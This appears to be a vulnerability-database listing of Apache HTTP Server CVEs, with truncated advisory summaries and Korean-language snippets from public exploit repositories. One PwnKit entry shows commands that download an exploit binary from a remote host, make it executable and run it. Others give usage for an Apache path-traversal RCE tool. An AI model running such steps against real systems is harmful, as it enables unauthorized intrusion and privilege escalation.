ALPINE-CVE-2026-63292

Stack-based buffer overflow in modvhostalias in Apache Software Foundation Apache HTTP Server through 2.4.68 on all platforms allows a remote client to cause a denial of service or potentially execute arbitrary code via an HTTP request with a Host header exceeding 8192 bytes when...

CVE-2026-59797

Improper Privilege Management vulnerability in Apache HTTP Server's modssl via SSLRequire and file-related expressions. This issue affects Apache HTTP Server: from 2.4.0 through 2.4.68...

CVE-2026-57941

Use After Free vulnerability in Apache HTTP Server's modhttp2 via shared session-bbtmp re-entrancy This issue affects Apache HTTP Server: from 2.4.0 through 2.4.68...

DEBIAN-CVE-2026-57941

Use After Free vulnerability in Apache HTTP Server's modhttp2 via shared session-bbtmp re-entrancy This issue affects Apache HTTP Server: from 2.4.0 through 2.4.68...

CVE-2026-56153

Out-of-bounds Write vulnerability in Apache HTTP Server's modcharsetlite. This issue affects Apache HTTP Server: from 2.4.0 through 2.4.68...

DEBIAN-CVE-2026-56449

Out-of-bounds Write vulnerability in Apache HTTP Server's modproxyhtml with crafted HTTP response bodies. This issue affects Apache HTTP Server: from 2.4.0 through 2.4.68...

DEBIAN-CVE-2026-56153

Out-of-bounds Write vulnerability in Apache HTTP Server's modcharsetlite. This issue affects Apache HTTP Server: from 2.4.0 through 2.4.68...

DEBIAN-CVE-2026-56154

Use After Free vulnerability in Apache HTTP Server's modrewrite when using lookahead %LA-U:HTTP:... This issue affects Apache HTTP Server: from 2.4.0 through 2.4.68...

ALPINE-CVE-2026-56154

Use After Free vulnerability in Apache HTTP Server's modrewrite when using lookahead %LA-U:HTTP:... This issue affects Apache HTTP Server: from 2.4.0 through 2.4.68...

CVE-2026-56449

Out-of-bounds Write vulnerability in Apache HTTP Server's modproxyhtml with crafted HTTP response bodies. This issue affects Apache HTTP Server: from 2.4.0 through 2.4.68...

CVE-2026-56154

Use After Free vulnerability in Apache HTTP Server's modrewrite when using lookahead %LA-U:HTTP:... This issue affects Apache HTTP Server: from 2.4.0 through 2.4.68...

CVE-2026-48005

Missing authentication checks in modauthdigest in Apache Software Foundation Apache HTTP Server before 2.4.69 on all platforms allows an unauthenticated remote client to cause a denial of service forced re-authentication via forged Authorization headers when Digest authentication is enabled with...

DEBIAN-CVE-2026-48005

Missing authentication checks in modauthdigest in Apache Software Foundation Apache HTTP Server before 2.4.69 on all platforms allows an unauthenticated remote client to cause a denial of service forced re-authentication via forged Authorization headers when Digest authentication is enabled with...

CVE-2021-40438

CVE-2021-40438 Apache 포워드 요청 CVE CVE-2021-40438: 조작된 요청 URI 경로로 인해 modproxy가 원격 사용자가 선택한 오리진 서버로 요청을 포워드할 수 있습니다. 이 취약점은 Apache HTTP Server 2.4.48 및 이전 버전에 영향을 미칩니다. 이 CVE는 DoS 공격에서 원본 IP를 스푸핑하는 데 사용될 수 있습니다. app.netlas.io에서 취약한 서버 쿼리: cve.basescore:8 and geo.country:"RU" and...

CVE-2021-4034

PwnBringer PwnKit의 자동 생성 및 서빙 pwnkit용 소스 코드를 바이너리로 컴파일하고 자동으로 파이썬 서버가 실행됩니다. 이것은 프로토타입입니다. 따라서 환경에 따라 작동하지 않을 수 있습니다. chmod +x PwnBringer.py ./PwnBringer.py VictimSide user1@deb:$ wget http://192.168.0.4:1234/PwnKit user1@deb:$ chmod +x PwnKit user1@deb:$ ./PwnKit or user1@deb:$ curl...

CVE-2021-41773

CVE-2021-41773 Apache2 2.4.49 - LFI 및 RCE 익스플로잇 정보 Exploit Title: Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution RCE Exploit Author: Gaurav Raj https://gauravraj.xyz https://blog.gauravraj.xyz Vendor Homepage: https://apache.org/ Version: 2.4.49 Tested on: 2.4.49 CVE :...

Path-traversal-RCE-Apache-2.4.49-2.4.50-Exploit

CVE-2021-41773 및 CVE-2021-42013 악용 도구 Apache/2.4.49-2.4.50에서의 경로 탐색 공격 및 RCE 기능 - URL 목록 입력 가능 - CGI 및 비-CGI 모두 지원 - Apache/2.4.49 - 2.4.50 지원 사용법 $ git clone https://github.com/CalfCrusher/Path-traversal-RCE-Apache-2.4.49-2.4.50-Exploit $ cd Path-traversal-RCE-Apache-2.4.49-2.4.50-Exploit && pip...

CVE-2024-40275_Scanner

CVE-2024-40725 스캐너 CVE-2024-40725 용 Python 기반 탐지 도구로, 2.4.0 및 2.4.61 버전에 영향을 미치는 Apache HTTP Server 소스 코드 노출 취약점입니다. 법적 고지: 이 스캐너는 본인이 소유하거나 명시적인 서면 테스트 승인을 받은 서버에서만 실행하십시오. 무단 사용은 컴퓨터 사기 관련 법률예: CFAA, Computer Misuse Act을 위반할 수 있습니다. 배경 CVE-2024-40725은 버전 2.4.0에 도입된 Apache 내부 요청 파이프라인의...

Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790

🔥 CVE-2021-44790 - Apache modlua 버퍼 오버플로우 익스플로잇 📋 개요 Apache modlua Buffer Overflow Exploitation 은 Apache HTTP Server 2.4.x modlua 모듈의 치명적인 버퍼 오버플로우 취약점인 CVE-2021-44790 을 위한 고급 엔터프라이즈급 익스플로잇 플랫폼입니다. 이 프레임워크는 포괄적인 핑거프린팅, 지능형 스크립트 발견, 다단계 스캐닝 및 95% 이상의 신뢰도 탐지 와 함께 전문적인 보고 기능을 제공합니다. ⚡ 주요 기능 기능| 설명...

CVE-2026-63686

The Apache HTTP Server (versions before 2.4.69 ) is vulnerable to a NULL pointer dereference within the mod_xml2enc module. An untrusted backend server can trigger a Denial of Service (DoS) by returning a crafted response with a character set that partially succeeds and then fails during conversi...